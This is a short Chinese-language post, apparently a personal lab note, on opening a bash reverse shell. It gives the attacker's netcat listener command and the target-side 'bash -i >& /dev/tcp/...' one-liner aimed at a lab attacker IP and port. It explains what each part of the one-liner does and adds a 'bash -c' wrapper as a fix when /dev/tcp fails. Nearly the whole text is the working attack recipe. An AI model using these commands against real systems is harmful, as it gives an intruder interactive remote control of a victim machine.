bash -i
操作
攻击机 192.168.188.140
执行 nc -lvvp 8888
监听本地8888端口

目标机 192.168.188.24
执行
bash -i >& /dev/tcp/192.168.188.140/8888 0<&1 2>&1
与140主机8888端口建立一个tcp连接。
bash –i打开一个交互的bash,
/dev/tcp建立一个socket连接,
>&将标准错误输出重定向到标准输出中,
执行之后即可得到shell

问题
一开始做的时候其实是用140当目标机的,但是运行bash -i >& /dev/tcp/192.168.188.140/8888 0<&1 2>&1
一直报错显示/dev/tcp
文件不存在,百度也没找到解决方法。
刚看到王一航师傅的博客才发现问题出在了哪里,所以最好还是用bash -c 'bash -i >& /dev/tcp/192.168.188.140/8888 0<&1 2>&1'
网友评论